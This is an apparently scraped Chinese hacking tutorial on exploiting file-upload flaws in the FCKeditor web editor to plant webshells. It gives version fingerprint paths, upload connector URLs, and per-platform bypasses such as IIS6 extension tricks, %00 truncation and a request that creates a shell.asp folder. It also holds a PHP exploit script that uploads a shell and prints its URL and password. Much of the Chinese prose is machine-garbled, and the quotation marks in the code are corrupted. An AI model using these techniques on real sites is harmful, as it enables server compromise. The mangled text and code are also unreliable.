FCKeditor是一个专门利用在网页上属于开放源代码的所见即所得笔墨编辑器。
它志于轻量化,不须要太繁芜的安装步骤即可利用。
它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP平分歧的编程措辞相结合。
“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。
FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、MozillaFirefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。
在未来的版本也将会加入对 Opera的增援。

0x02 判断版本

常见判断版本方法有两个:

FCK266php漏洞FCKeditor上传破绽的总结剖析 JavaScript

/fckeditor/editor/dialog/fck_about.html

/FCKeditor/_whatsnew.html

0x03 上传地址

常用的上传地址A

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

常用的上传地址B

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

0x04 上传方法

ASP版

asp一样平常是搭在windows主机上,webserver一样平常为IIS6/IIS7/IIS7.5。
据我现在所知,asp版的fckeditor已经可以全秒了。

<2.4.x版本(也便是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。
如果asa、cer不被解析,还可以传.asp[空格]。
传的方法便是抓包然后在数据包里的文件名后填个空格。

2.5.x和2.6.x:如果是IIS6.0 ,可以通过打破变”.”为”_”限定创建.asp文件夹,代码如下:

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z.asp

复制代码然后往这个文件夹里传jpg,这个不多说了。

如果是IIS7及以上,这种方法就傻逼了。
这个时候可以借助刚爆出来的那种方法,先传shell.asp%00txt,然后再传一次。

至此,asp版本已经全秒了。

ASPX版

低版本同ASP版,2.6.x用刚爆出来的二次上传已经不好使了,不过新建test.asp的文件夹还可以使。
一样平常IIS6.0会支持asp,可以先传个asp上去,然后再XX。

PHP版

1.低版本(2.4.x及以下),仍旧为黑名单验证,windows主机可以利用php[空格]传,2.4.3的有个media未设置导致任意文件上传可以秒linux。

2.2.5.x往后是白名单验证,仅能寄希望于wooyun里爆的那个<2.6.4的任意文件上传,成功率有限。

3.2.6.4以上的php版,据我所知没戏,求高人指示!我粗略的看了一下它的验证逻辑,表示没戏,windows里的敏感字符全给过滤了。

0x05 实战案例

【aspx+2.6.4】

1.上传地址:

2.上传shell.asp;.jpg变shell_asp;.jpg,然后连续上传同名文件可变为shell.asp;(1).jpg

3.shell地址:

【PHP+2.4.3】

1.Linux做事器,利用media未设置导致任意文件上传,测试POC为:

' +--------------------------------------------------------------+ NS-ASG Getshell Exploit +--------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +--------------------------------------------------------------+ Example: php '.$argv[0].' localhost +--------------------------------------------------------------+ '); exit; } $host = $argv[1]; $file = 'index.php'; $path = \"大众/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media\公众; $url = 'https://'.$host.$path; $fp = fopen(\"大众$file\公众,\"大众w\"大众) or die('can not write'); fwrite($fp,\"大众\"大众); fclose($fp); $data = array('NewFile'=>'@'. dirname(__FILE__).\"大众/$file\"大众); $curl = curl_init; curl_setopt ( $curl, CURLOPT_URL, $url ); // curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 ); curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 ); curl_setopt ( $curl, CURLOPT_USERAGENT, \公众Mozilla/4.0\"大众 ); @curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 ); curl_setopt ( $curl, CURLOPT_POST, 1 ); curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data ); curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 ); curl_setopt ( $curl, CURLOPT_HEADER, 0 ); curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 ); $tmpInfo = curl_exec ( $curl ); if (curl_errno ( $curl )) { echo 'Errno' . curl_error ( $curl ); } curl_close ( $curl ); //echo $tmpInfo; preg_match('/201,\\公众(.)\\"大众,\\公众/iU',$tmpInfo,$matchs); $url = 'https://'.$host.$matchs[1]; print 'Shell: '.$url.' password: cmd'; ?>

2.利用办法:php.exe 1.php 202.ip.ip.ip

【JSP+2.2】

1.利用00截断上传,地址如下:

2.上传后抓包并添加00截断如下:

3.shell地址